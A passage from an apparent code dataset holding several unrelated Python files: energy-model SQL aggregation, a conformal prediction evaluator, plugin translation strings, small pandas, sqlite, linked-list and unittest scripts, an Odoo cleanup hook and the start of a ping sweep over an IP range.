transmission_losses_lz_from, transmission_losses_lz_to)\n VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);\n \"\"\".format(\n scenario_id\n )\n spin_on_database_lock(conn=db, cursor=c, sql=insert_temp_sql, data=results)\n\n # Insert sorted results into permanent results table\n insert_sql = \"\"\"\n INSERT INTO results_transmission_operations\n (scenario_id, transmission_line, period, subproblem_id, stage_id,\n timepoint, timepoint_weight, number_of_hours_in_timepoint,\n load_zone_from, load_zone_to, transmission_flow_mw,\n transmission_losses_lz_from, transmission_losses_lz_to)\n SELECT\n scenario_id, transmission_line, period, subproblem_id, stage_id,\n timepoint, timepoint_weight, number_of_hours_in_timepoint,\n load_zone_from, load_zone_to, transmission_flow_mw,\n transmission_losses_lz_from, transmission_losses_lz_to\n FROM temp_results_transmission_operations{}\n ORDER BY scenario_id, transmission_line, subproblem_id, stage_id, \n timepoint;\n \"\"\".format(\n scenario_id\n )\n spin_on_database_lock(conn=db, cursor=c, sql=insert_sql, data=(), many=False)\n\n\ndef process_results(db, c, scenario_id, subscenarios, quiet):\n \"\"\"\n Aggregate imports/exports by zone, period and spinup_or_lookahead\n (numbers are based on flows without accounting for losses!)\n TODO: add losses?\n :param db:\n :param c:\n :param subscenarios:\n :param quiet:\n :return:\n \"\"\"\n if not quiet:\n print(\"aggregate transmission imports exports\")\n\n # Delete old results\n del_sql = \"\"\"\n DELETE FROM results_transmission_imports_exports_agg\n WHERE scenario_id = ?\n \"\"\"\n spin_on_database_lock(\n conn=db, cursor=c, sql=del_sql, data=(scenario_id,), many=False\n )\n\n # Aggregate imports/exports by period, load zone, and spinup_or_lookahead\n agg_sql = \"\"\"\n INSERT INTO results_transmission_imports_exports_agg\n (scenario_id, subproblem_id, stage_id, period, \n load_zone, spinup_or_lookahead, imports, exports)\n \n SELECT scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead,\n (IFNULL(imports_pos_dir,0) + IFNULL(imports_neg_dir,0)) AS imports,\n (IFNULL(exports_pos_dir,0) + IFNULL(exports_neg_dir,0)) AS exports\n \n FROM (\n \n -- dummy required to make sure all load zones are included \n -- (SQLite cannot do full outer join)\n \n SELECT DISTINCT scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead\n FROM (\n SELECT scenario_id, subproblem_id, stage_id, period, load_zone, \n spinup_or_lookahead\n FROM (\n (SELECT DISTINCT scenario_id, subproblem_id, stage_id, period, \n load_zone_to AS load_zone, spinup_or_lookahead\n FROM results_transmission_operations\n WHERE scenario_id = ?) AS dummy\n \n LEFT JOIN \n \n (SELECT DISTINCT scenario_id, subproblem_id, stage_id, period, \n load_zone_from AS load_zone, spinup_or_lookahead\n FROM results_transmission_operations\n WHERE scenario_id = ?) AS dummy2\n USING (scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead)\n ) AS left_join1\n \n UNION ALL\n \n SELECT scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead\n FROM (\n (SELECT DISTINCT scenario_id, subproblem_id, stage_id, period, \n load_zone_from AS load_zone, spinup_or_lookahead\n FROM results_transmission_operations\n WHERE scenario_id = ?) AS dummy3\n \n LEFT JOIN \n \n (SELECT DISTINCT scenario_id, subproblem_id, stage_id, period, \n load_zone_to AS load_zone, spinup_or_lookahead\n FROM results_transmission_operations\n WHERE scenario_id = ?) AS dummy4\n USING (scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead)\n \n ) AS left_join2\n \n ) AS outer_join_table\n \n ) AS distinct_outer_join_table\n \n LEFT JOIN\n \n (SELECT scenario_id, subproblem_id, stage_id, period, \n load_zone_to AS load_zone, spinup_or_lookahead,\n SUM(transmission_flow_mw * timepoint_weight * \n number_of_hours_in_timepoint) AS imports_pos_dir\n FROM results_transmission_operations\n WHERE transmission_flow_mw > 0\n AND scenario_id = ?\n GROUP BY scenario_id, subproblem_id, stage_id, period, load_zone, \n spinup_or_lookahead) \n AS imports_pos_dir\n USING (scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead)\n \n LEFT JOIN\n \n (SELECT scenario_id, subproblem_id, stage_id, period, \n load_zone_from AS load_zone, spinup_or_lookahead,\n SUM(transmission_flow_mw * timepoint_weight * \n number_of_hours_in_timepoint) AS exports_pos_dir\n FROM results_transmission_operations\n WHERE transmission_flow_mw > 0\n AND scenario_id = ?\n GROUP BY scenario_id, subproblem_id, stage_id, period, load_zone, \n spinup_or_lookahead) \n AS exports_pos_dir\n USING (scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead)\n \n LEFT JOIN\n \n (SELECT scenario_id, subproblem_id, stage_id, period, \n load_zone_from AS load_zone, spinup_or_lookahead,\n -SUM(transmission_flow_mw * timepoint_weight * \n number_of_hours_in_timepoint) AS imports_neg_dir\n FROM results_transmission_operations\n WHERE transmission_flow_mw < 0\n AND scenario_id = ?\n GROUP BY scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead) \n AS imports_neg_dir\n USING (scenario_id, subproblem_id, stage_id,period, load_zone,\n spinup_or_lookahead)\n \n LEFT JOIN\n \n (SELECT scenario_id, subproblem_id, stage_id, period, \n load_zone_to AS load_zone, spinup_or_lookahead,\n -SUM(transmission_flow_mw * timepoint_weight * \n number_of_hours_in_timepoint) AS exports_neg_dir\n FROM results_transmission_operations\n WHERE transmission_flow_mw < 0\n AND scenario_id = ?\n GROUP BY scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead) \n AS exports_neg_dir\n USING (scenario_id, subproblem_id, stage_id, period, load_zone,\n spinup_or_lookahead)\n \n ORDER BY subproblem_id, stage_id, period, load_zone, spinup_or_lookahead\n ;\"\"\"\n\n scenario_ids = tuple([scenario_id] * 8)\n spin_on_database_lock(conn=db, cursor=c, sql=agg_sql, data=scenario_ids, many=False)\n","sub_path":"gridpath/transmission/operations/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":17096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613637899","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\n#from sklearn.linear_model import LinearRegression\n#from sklearn.isotonic import IsotonicRegression\n#from sklearn.metrics.pairwise import paired_distances\nimport os\nfrom sklearn.cross_validation import StratifiedKFold\nimport numpy.ma as ma\nimport sys, getopt\n\ndef zeroClassFirst(X,y):\n\tif (y[0]>0.5):\n\t\tfor i,yLabel in enumerate(y[1:]):\n\t\t\tif (y[i]<0.5):\n\t\t\t\tyTmp = y[i]; XTmp = X[i]\n\t\t\t\ty[i] = y[0]; X[i] = X[0]\n\t\t\t\ty[0] = yTmp; X[0] = XTmp\n\t\t\t\tbreak\ndef computeICPValues(X_properTrain,y_properTrain,X_Test,y_Test,X_calibration,y_calibration):\n\t# Compute nonconformity scores\n\t# The reason for doing this is that libsvm always uses the label of the first training \n\t# example to define the negative side of the decision boundary, unless class labels are -1 and 1.\n\t#zeroClassFirst(X_properTrain,y_properTrain)\n\t# Build model a calculate nonconformity scores for the calibration set. \n\ty_calibrationAlphas = X_calibration\n\tconditionZero = ma.masked_less_equal(y_calibration, 0.5)\n\tconditionOne = ma.masked_greater(y_calibration, 0.5)\n\tif (y_properTrain.max() > y_properTrain.min()): # The higher value response will have the higher decision value.\n\t\talpha_zeros = np.extract(conditionZero.mask,y_calibrationAlphas)\n\t\talpha_ones = np.extract(conditionOne.mask,-1.0*y_calibrationAlphas) # Negate to create a nonconformity score.\t\n\telse: # The lower value response will have the higher decision value.\n\t\tprint(\"At least two labels should be prepared!!!\")\n\t\tsys.exit()\n\t\n\talpha_zeros.sort()\n\talpha_ones.sort()\n\t\n\t# Compute p-values for the test examples.\n\ty_testAlphas = X_Test\n\t# Searching is done from the left, thus a larger value of searchsorted is more nonconforming.\n\t# Indexing start at 0 this is why we set +2 rather than +1.\n\tp_zeros = 1.0-1.0*(np.searchsorted(alpha_zeros,y_testAlphas)+1)/(len(alpha_zeros)+1)\n\tp_ones = 1.0-1.0*(np.searchsorted(alpha_ones,-1.0*y_testAlphas)+1)/(len(alpha_ones)+1)\n\t\n\treturn p_zeros,p_ones\n\ndef predictICP(X_properTrain,y_properTrain,X_Test,y_Test,X_Cal,y_Cal):\n\t\tp_0,p_1 = computeICPValues(X_properTrain,y_properTrain,X_Test,y_Test,X_Cal,y_Cal)\n\t\treturn p_0, p_1\n\ndef returnConMatrix(p_0,p_1,y_t,alpha):\n\ttp=0\n\tfp=0\n\ttn=0\n\tfn=0\n\tuncertains=0\n\temptys=0\n\ttp = np.count_nonzero(np.logical_and(np.logical_and(p_1>alpha, p_0<=alpha),y_t==1))\n\tfp = np.count_nonzero(np.logical_and(np.logical_and(p_1>alpha, p_0<=alpha),y_t==0))\n\ttn = np.count_nonzero(np.logical_and(np.logical_and(p_0>alpha, p_1<=alpha),y_t==0))\n\tfn = np.count_nonzero(np.logical_and(np.logical_and(p_0>alpha, p_1<=alpha),y_t==1))\n\tuncertains = np.count_nonzero(np.logical_and(p_0>alpha, p_1>alpha))\n\temptys = np.count_nonzero(np.logical_and(p_0<=alpha, p_1<=alpha))\n\t\n\terror0 = (np.count_nonzero(np.logical_and( p_0<=alpha, y_t==0)))\n\terror1 = (np.count_nonzero(np.logical_and( p_1<=alpha, y_t==1)))\n\tvalidity0 = (error0 + 0.0)/max(sum(y_t==0),1.0)\n\tvalidity1 = (error1 + 0.0)/max(sum(y_t==1),1.0)\n\tvalidity = (error0 + error1 + 0.0)/y_t.shape[0]\n\tefficiency = (tp+tn+fp+fn+0.0)/y_t.shape[0]\n\treturn tp, fp, tn, fn, uncertains, emptys,1.0-validity,1.0-validity0,1.0-validity1,efficiency\n\n\ndef main(argv):\n\t#os.chdir(\"/home/kjtm282/codes/gdsc/cal_test/\")\n\tpropertrainfile = '' #'both_dim_train_pIC50_fold_1_.mtx' # traing set\n\ttestfile = '' #'fold1_GE_k100-sample-400-predictions.csv' # test set\n\tcalfile = '' #'both_dim_cal_pIC50_fold_1_.mtx' # calibration set\n\toutputdir = '' # output directory\n\t\n\ttry:\n\t\topts, args = getopt.getopt(argv,\"hp:t:c:o:\",[\"propertrainfile=\",\"testfile=\",\"calfile=\",\"outputdir=\"])\n\texcept getopt.GetoptError:\n\t\tprint(\"mccp_svm_openmp_sklearn.it4i.py -p -t -c -o \")\n\t\tsys.exit(2)\n\tfor opt, arg in opts:\n\t\tif opt == '-h':\n\t\t print(\"mccp_svm_openmp_sklearn.it4i.py -p -t -c -o \")\n\t\t sys.exit()\n\t\telif opt in (\"-p\", \"--propertrainfile\"):\n\t\t\tpropertrainfile = arg\n\t\telif opt in (\"-t\", \"--testfile\"):\n\t\t\ttestfile = arg\n\t\telif opt in (\"-c\", \"--calfile\"):\n\t\t\tcalfile = arg\n\t\telif opt in (\"-o\", \"--outputdir\"):\n\t\t\toutputdir = arg\n\tprint(propertrainfile)\n\tprint(testfile)\n\tprint(calfile)\n\tprint(outputdir)\n\t#create output dir\n\tif not os.path.exists(outputdir):\n\t\tos.makedirs(outputdir)\n\t#set cal part as missing value when train GFA\n\t# path to calibration, test and traing sets\n\tdf_cal = pd.read_csv(calfile,sep=\",\")\n\tdf_test = pd.read_csv(testfile,sep=\",\").as_matrix()\n\tdf_train = pd.read_csv(propertrainfile,sep=\" \")\n\n\t#train\n\tdf_properTrain=df_train[pd.merge(df_train, df_cal, how='left',on=['row','col']).isnull().any(axis=1)]\n\ty_properTrain=1.0*(df_properTrain['y']>=5).values.reshape(-1,1)\n\tX_properTrain=df_properTrain['y'].values.reshape(-1,1)\n\t#test\n\ty_Test=1.0*(df_test[:,2]>=5)\n\tX_Test=df_test[:,3].reshape(-1,1)\n\t#calibration\n\ty_Cal=1.0*(df_cal['y']>=5).values.reshape(-1,1)\n\tX_Cal=df_cal['y'].values.reshape(-1,1)\n\n\tp_0_ICP, p_1_ICP = predictICP(X_properTrain,y_properTrain,X_Test,y_Test,X_Cal,y_Cal)\n\n\toutput=np.hstack((df_test[:,0:4], p_0_ICP, p_1_ICP))\n\tfheader=\"Cell\\tDrug\\ty\\ty_pred\\tp_0_ICP\\tp_0_ICP\"\n\tnp.savetxt(outputdir+'/GFA_MICP_pred_rst.txt',output,fmt='%0.3f', delimiter='\\t',header=fheader)\n\n\tfdr=-999*np.ones(100)\n\tk=-999*np.ones(100)\n\tg=-999*np.ones(100)\n\tval = -999*np.ones(100)\n\tval0 = -999*np.ones(100)\n\tval1 = -999*np.ones(100)\n\tefficiency = -999*np.ones(100)\n\ti=0\n\talpha_ranges=np.linspace(0.0001,0.5,100)\n\tfor alpha in alpha_ranges:\n\t\ttp, fp, tn, fn, uncertains, emptys, val[i], val0[i], val1[i],efficiency[i] = returnConMatrix(p_0_ICP,p_1_ICP,y_Test.reshape(-1,1),alpha)\n\t\tsn = 1.0*tp/max(fn+tp,1)\n\t\tsp = 1.0*tn/max(fp+tn,1)\n\t\tacc = ((tp+tn)/max(tp+tn+fp+fn,1.0))\n\t\tif (tp+tn+fp+fn+0.0) > 0 :\n\t\t\tfdr[i] = (fp/max(fp+tp,1.0))\n\t\t\tcp=( (fp+tp+0.0)*(tp+fn) + (fn+tn)*(fp+tn+0.0) )/((tp+tn+fp+fn+0.0)**2)\n\t\t\tk[i] = (acc-cp)/(1.0-cp)\n\t\t\tg[i] = 1.0*(sn*sp)**0.5\n\t\ti+=1\n\tmetrics=np.vstack((alpha_ranges,k,g,val,val0,val1,efficiency)).T\n\tfheader=\"Alpha\\tKappa\\tG-mean\\tValidity_all\\ttValidity_neg\\ttValidity_pos\\tefficiency\"\n\tnp.savetxt(outputdir+'/GFA_MICP_metrics.txt',metrics,fmt='%0.3f', delimiter='\\t',header=fheader)\n\t\t\n#\talpha_ranges=np.linspace(0.0001,0.5,100)\n#\tplt.plot(alpha_ranges, alpha_ranges, label='Diagonal line')\n#\tplt.plot(alpha_ranges, 1.0-val1,'-*',label='Active')\n#\tplt.plot(alpha_ranges, 1.0-val0,'-.',label='Inactive')\n#\tplt.plot(alpha_ranges, 1.0-val,'-o',label='Both Active and Inactive')\n#\tplt.xlabel(\"expected error\")\n#\tplt.ylabel(\"observed error\")\n#\tplt.legend( loc='upper left', numpoints = 1 )\n#\taxes = plt.gca()\n#\taxes.set_xlim([0,0.5])\n#\taxes.set_ylim([0,0.5])\n#\tplt.show()\n\n#\talpha_ranges=np.linspace(0.0001,0.5,100)\n#\tplt.plot(alpha_ranges, efficiency,'-*',label='Efficiency')\n#\tplt.plot(alpha_ranges, k,'-.',label='Kappa')\n#\tplt.plot(alpha_ranges, g,'-o',label='G-mean')\n#\tplt.xlabel(\"expected error\")\n#\tplt.ylabel(\"observed error\")\n#\tplt.legend( loc='lower right', numpoints = 1 )\n#\taxes = plt.gca()\n#\taxes.set_xlim([0,0.5])\n#\taxes.set_ylim([0,1.0])\n#\tplt.show()\n\t\n#\talpha_ranges=np.linspace(0.0001,0.5,100)\n#plt.plot(alpha_ranges, eff_chem,'-o',label='Chemical features')\n#plt.plot(alpha_ranges, eff_genom,'-*',label='Genomic features')\n#plt.plot(alpha_ranges, eff_all,'-.',label='Both')\n#plt.xlabel(\"expected error\")\n#plt.ylabel(\"Efficiency\")\n#plt.legend( loc='lower right', numpoints = 1 )\n#axes = plt.gca()\n#axes.set_xlim([0,0.5])\n#axes.set_ylim([0,1.0])\n#plt.show()\n\n#alpha_ranges=np.linspace(0.0001,0.5,100)\n#plt.plot(alpha_ranges, k_chem,'-o',label='Chemical features')\n#plt.plot(alpha_ranges, k_genom,'-*',label='Genomic features')\n#plt.plot(alpha_ranges, k_all,'-.',label='Both')\n#plt.xlabel(\"expected error\")\n#plt.ylabel(\"Kappa\")\n#plt.legend( loc='lower right', numpoints = 1 )\n#axes = plt.gca()\n#axes.set_xlim([0,0.5])\n#axes.set_ylim([0,1.0])\n#plt.show()\n\n#alpha_ranges=np.linspace(0.0001,0.5,100)\n#plt.plot(alpha_ranges, g_chem,'-o',label='Chemical features')\n#plt.plot(alpha_ranges, g_genom,'-*',label='Genomic features')\n#plt.plot(alpha_ranges, g_all,'-.',label='Both')\n#plt.xlabel(\"expected error\")\n#plt.ylabel(\"G-mean\")\n#plt.legend( loc='lower right', numpoints = 1 )\n#axes = plt.gca()\n#axes.set_xlim([0,0.5])\n#axes.set_ylim([0,1.0])\n#plt.show()\n","sub_path":"micp.py","file_name":"micp.py","file_ext":"py","file_size_in_byte":8266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"284763820","text":"from pbt.translations import *\n\n\nts = TranslationSet()\n\nts.append(T(tag=\"ClumpLabel/text\",\n text='LIM/SAT')\n .es(1)\n .pt(1)\n .fr(1)\n .ja('リミッター / \\nサチュレーター')\n .ko('리미터 / \\n세츄레이터')\n .zhHans('限制/\\n饱和设定')\n .zhHant('限制/\\n飽和設定')\n .ar(1)\n .he(0)\n)\n\nts.append(T(tag=\"ClumpLabel/text\",\n text='OUT')\n .es('SALIDA')\n .pt('SAÍDA')\n .fr('SORTIE')\n .ja('アウト')\n .ko('아웃풋')\n .zhHans('输出')\n .zhHant('輸出')\n .ar('الخرج')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Color')\n .es('Coloración')\n .pt('Coloração')\n .fr('Coloration')\n .ja('カラー')\n .ko('컬러')\n .zhHans('染色')\n .zhHant('染色')\n .ar('اللّون')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='DRY')\n .es(1)\n .pt(1)\n .fr(1)\n .ja('原音')\n .ko('원음')\n .zhHans('干声')\n .zhHant('乾聲')\n .ar('جاف')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Filter\\nGlide Time')\n .es('Barrida\\nde filtro')\n .pt('Tempo de\\nGlide do Filtro')\n .fr('Temps de\\nBalayage du Filtre')\n .ja('フィルター\\nグライド')\n .ko('필터\\n글라이드')\n .zhHans('滤波\\n滑移时间')\n .zhHant('濾波\\n滑移時間')\n .ar('الفلتر\\nتوقيت انزلاق')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Frequency')\n .es('Frecuencia')\n .pt('Frequência')\n .fr('Fréquence')\n .ja('周波数')\n .ko('필터 기준 주파수')\n .zhHans('频率')\n .zhHant('頻率')\n .ar('التردد')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Lim/Sat\\nAuto Gain')\n .es('Ganancia automática\\nLim./Sat. ')\n .pt('Compensar Ganho\\nLim/Sat')\n .fr('Lim/Sat\\nGain Automatique')\n .ja('Lim/Sat\\nオートゲイン')\n .ko('Lim/Sat\\n오토 게인')\n .zhHans('限制器/饱和器\\n自动增益')\n .zhHant('限制器/飽和器\\n自動增益')\n .ar('Lim/Satلل\\nالربح التلقائي')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Lim/Sat\\nStereo Link')\n .es('Link estéreo\\nLim./Sat.')\n .pt('Link Estéreo\\nLim/Sat')\n .fr('Lim/Sat\\nCouplage Stéréo')\n .ja('Lim/Sat\\nステレオリンク')\n .ko('Lim/Sat\\n스테레오 링크')\n .zhHans('限制器/饱和器\\n立体声连结')\n .zhHant('限制器/飽和器\\n立體聲連結')\n .ar('Lim/Satلل\\nوصل الإستيرِو')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Mix')\n .es('Mezcla')\n .pt(1)\n .fr(1)\n .ja('ミックス')\n .ko('필터 믹스')\n .zhHans('混合')\n .zhHant('混合')\n .ar('الميكس')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Resonance')\n .es('Resonancia')\n .pt('Ressonância')\n .fr('Résonance')\n .ja('レゾナンス')\n .ko('필터 레조넌스')\n .zhHans('共振')\n .zhHant('共振')\n .ar('الرنين')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Slope')\n .es('Pendiente')\n .pt('Declive')\n .fr('Ordre')\n .ja('スロープ')\n .ko('필터 기울기')\n .zhHans('坡度')\n .zhHant('坡度')\n .ar('الميل')\n .he(0)\n)\n\nts.append(T(tag=\"ParamLabel/text\",\n text='Threshold')\n .es('Umbral')\n .pt('Limite')\n .fr('Seuil')\n .ja('スレッショルド')\n .ko('기준 레벨')\n .zhHans('阈值')\n .zhHant('閾值')\n .ar('حد العتبة')\n .he(0)\n)\n\nts.append(T(tag=\"Tagline\",\n text='Filter sweeps: lo, hi, & anywhere in between.')\n .es('Barridas de filtro: altos, bajos y entre medio.')\n .pt('Varreduras de filtro: grave, agudo e tudo que há no meio.')\n .fr(\"Balayages de filtres: bas, haut, et tout l'entre-deux.\")\n .ja('極細繊維で紡いだ6.0dB~96dBのフィルター')\n .ko('자유로운 필터 스윕')\n .zhHans('全能滤波器:任何频段、全能控制')\n .zhHant('全能濾波器:任何頻段、全能控制')\n .ar('عمليّة مسح الفِلترات:منخفضة، عالية و في ��يّ مكان فيما بين.')\n .he(0)\n)\n\n","sub_path":"translatables/plugins/GHZSweep/0006.py","file_name":"0006.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"252094341","text":"import pandas as pd\r\n\r\n# Opening Excel file and reading all sheets\r\ndf = pd.read_excel('test2.xlsx', sheet_name=None) # read all sheets\r\n\r\n# Now getting data of all sheets separately\r\nsheet1 = df['Sheet1']\r\nsheet2 = df['Sheet2']\r\n\r\n# Getting artists from sheet1 and track\r\nartists = sheet1['Artist']\r\ntrack = sheet1['Track']\r\n\r\n# Creating dictionary with artist and its track\r\nartists_track_dict = {}\r\nfor i in range(len(artists)):\r\n if track[i] in artists_track_dict:\r\n artists_track_dict[track[i]] = [artists_track_dict[track[i]], artists[i]]\r\n else:\r\n artists_track_dict[track[i]] = artists[i]\r\n\r\n\r\n# Converting artists data to list and adding a empty value to start so that it will be acted as columns\r\nartists = list(artists)\r\nartists.insert(0, ' ') # First column empty\r\n\r\n# Making list of zeros\r\nzero_list = []\r\nfor i in range(len(artists) - 1):\r\n zero_list.append(0)\r\n\r\ndict = {}\r\n\r\n# iterating through the elements of list and adding items in dictionary\r\n# Also creating dictionary for index of each artist\r\nindex = 0\r\nindex_dict = {}\r\nfor artist in artists:\r\n index_dict[artist] = index\r\n index += 1\r\n\r\n if artist == ' ':\r\n dict[artist] = artists[1:]\r\n else:\r\n dict[artist] = zero_list\r\n\r\n# Converting dictionary to data frame\r\ninsert_df = pd.DataFrame(dict)\r\n\r\n# Now reading sheet2 to get all values of 2 artists in a dict\r\nArtist = list(sheet2['Artist'])\r\nArtist_2 = list(sheet2['Artist_2'])\r\nRecords_Sold = list(sheet2['Records_Sold'])\r\nAlbum = list(sheet2['Album'])\r\n\r\nSheet2_Dict = {}\r\nfor i in range(len(Artist)):\r\n Sheet2_Dict[Records_Sold[i]] = [Artist[i], Artist_2[i]]\r\n\r\n# Updating data frame\r\nfor key, value in Sheet2_Dict.items():\r\n insert_df.loc[index_dict[value[0]]-1, value[1]] = key\r\n\r\n# Getting Album with artists and storing in array\r\nalbums_with_artists = {}\r\nfor i in range(len(Artist)):\r\n if Artist[i] != Artist_2[i]:\r\n albums_with_artists[Album[i]] = [Artist[i], Artist_2[i]]\r\n\r\n# Updating data frame\r\nprint (insert_df )\r\nfor key, value in albums_with_artists.items():\r\n artists_values = artists_track_dict[key]\r\n artist_1 = artists_values[0]\r\n artist_2 = artists_values[1]\r\n # Updating values of first artist\r\n insert_df.loc[index_dict[artist_1]-1, value[0]] = -1\r\n insert_df.loc[index_dict[artist_1]-1, value[1]] = -1\r\n # Now second\r\n insert_df.loc[index_dict[artist_2]-1, value[0]] = -1\r\n insert_df.loc[index_dict[artist_2]-1, value[1]] = -1\r\n\r\n# Adding created dictionary in new generated sheet\r\n# Generating new excel sheet where data will be auto-generated\r\nwriter = pd.ExcelWriter('Sheet3_AutoGenerated.xlsx', engine='xlsxwriter')\r\nwriter.save()\r\n\r\n# Adding dataframe to excel file\r\ninsert_df.to_excel('Sheet3_AutoGenerated.xlsx')\r\n","sub_path":"05 November 2020/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"137964571","text":"import sys\nimport os\n\n\nsys.path.append(os.getcwd() + \"/..\") \n\nfrom packages.Node import Node\n\ndef merge_list(list1:Node, list2:Node):\n\t# merge two sorted lists \n\tif list1 == None:\n\t\treturn list2\n\tif list2 == None:\n\t\treturn list1\n\n\thead:Node = None\n\tcur:Node = None\n\n\twhile list1 != None and list2 != None: \n\t\tif list1.value <= list2.value:\n\t\t\tif head == None:\n\t\t\t\thead = list1\n\t\t\t\tcur = head\n\t\t\telse:\n\t\t\t\tcur.next = list1\n\t\t\t\tcur = cur.next \n\t\t\tlist1 = list1.next\n\t\telse:\n\t\t\tif head == None:\n\t\t\t\thead = list2\n\t\t\t\tcur = head\n\t\t\telse:\n\t\t\t\tcur.next = list2\n\t\t\t\tcur = cur.next\n\t\t\tlist2 = list2.next\n\t \n\tcur.next = list2 if list1 == None else list1\n\treturn head;\n\n\n\nhead = Node(1)\nhead.next = Node(2)\nhead.next.next = Node(4) \n\nhead2 = Node(1)\nhead2.next = Node(5)\nhead2.next.next = Node(6) \n\nl = merge_list(head, head2) \nl.print() \n\n","sub_path":"Python/Python/linked-list/merge-2list.py","file_name":"merge-2list.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"370718856","text":"import sqlite3\n\nwith sqlite3.connect(\"cars.db\") as connection:\n\tc = connection.cursor()\n\n\tc.execute(\"UPDATE inventory SET quantity = 5 WHERE model = 'Civic'\")\n\n\tc.execute(\"UPDATE inventory SET quantity = 2 WHERE model = 'Prius'\")\t\n\n\tc.execute(\"SELECT * FROM inventory\")\n\n\trows = c.fetchall()\n\n\tfor r in rows:\n\t\tprint(str(r[0]), str(r[1]), r[2])\n\n\tprint(\"\")\n\n\tc.execute(\"SELECT * FROM inventory WHERE make = 'Ford'\")\n\n\trows1 = c.fetchall()\n\n\tprint(\"Ford Cars:\")\n\tfor r in rows1:\n\n\t\tprint(r[0], r[1], r[2])\n","sub_path":"carsUpdate.py","file_name":"carsUpdate.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489687611","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/3/1 14:08\n# @Author : demi\n# @Email : demilxj@foxmail.com\n# @File : run.py\n\nimport unittest\nimport HTMLTestRunnerNew\n\nfrom tools.http_request_testcase import HttpRequestTestcase\n\n\nsuite = unittest.TestSuite()\n# suite.addTest(HttpRequestTestcase('test_api')) # 测试类的实例\nloader = unittest.TestLoader()\nsuite.addTest(loader.loadTestsFromTestCase(HttpRequestTestcase))\n\nwith open('test_result/html_report/test_api.html', 'wb') as file:\n # 执行用例\n runner = HTMLTestRunnerNew.HTMLTestRunner(stream=file,\n title='单元测试报告20210303',\n description='这个是单元测试报告20210303',\n tester='demi')\n runner.run(suite)","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526208779","text":"# -*- coding: utf-8 -*-\nfrom openerp import api, fields, models\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass Namespace(models.Model):\n\n _inherit = \"openapi.namespace\"\n\n @api.model\n def _clean_frst_api_data_before_update(self):\n logger.info(\"Clear 'frst' rest api data before addon update!\")\n\n ir_exports = self.env['ir.model.data'].search([('module', '=', 'fso_rest_api'),\n ('model', '=', 'ir.exports')])\n to_delete = ir_exports.mapped('complete_name')\n\n for xml_ref in to_delete:\n logger.info(\"DELETE: '%s' on install update of fso_rest_api\" % xml_ref)\n record = self.sudo().env.ref(xml_ref, raise_if_not_found=False)\n if record:\n record.unlink()\n","sub_path":"addons-own/fso_rest_api/models/run_on_install_update.py","file_name":"run_on_install_update.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"273698693","text":"import os\nimport time\nimport random\nimport json\nimport multiprocessing as mp\nfrom multiprocessing.pool import Pool\nimport socket\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\n\ndef scan_ip_range(max_processes, ip_range, result_queue):\n q = mp.Queue(100)\n flag = mp.Value('i', 0)\n\n def put_queue(queue: mp.Queue, ip_range):\n start_ip, end_ip = ip_range.split('-')\n ip_stage_list = start_ip.split('.')[:3]\n for i in range(int(start_ip.split('.')[3]), int(end_ip.split('.')[3])):\n ip_addr = \".\".join(ip_stage_list + [str(i)])\n if queue.full():\n logging.debug('Queue is full, sleeping 1 second...')\n time.sleep(1) \n else:\n logging.debug(f'{ip_addr} has been putted into the Queue')\n queue.put(ip_addr)\n flag = 1\n logging.debug(f'put_queue completed, flag is now {flag}')\n\n def process_ping(queue: mp.Queue):\n logging.debug(f'Process {os.getpid()} started processing...')\n while True:\n if queue.empty() and flag:\n logging.debug(f'Queue is empty, process {os.getpid()} is exiting...')\n break\n elif queue.empty() and flag==0:\n logging.debug(f'Queue is empty currently, process {os.getpid()} will wait 1 seconds to retrieve data...')\n time.sleep(1)\n else:\n ip_addr = queue.get()\n logging.debug(f'Process {os.getpid()} is processing {ip_addr}......')\n result = os.popen(f'ping {ip_addr} -c 3').read()\n if result.find('3 packets transmitted, 3 received, 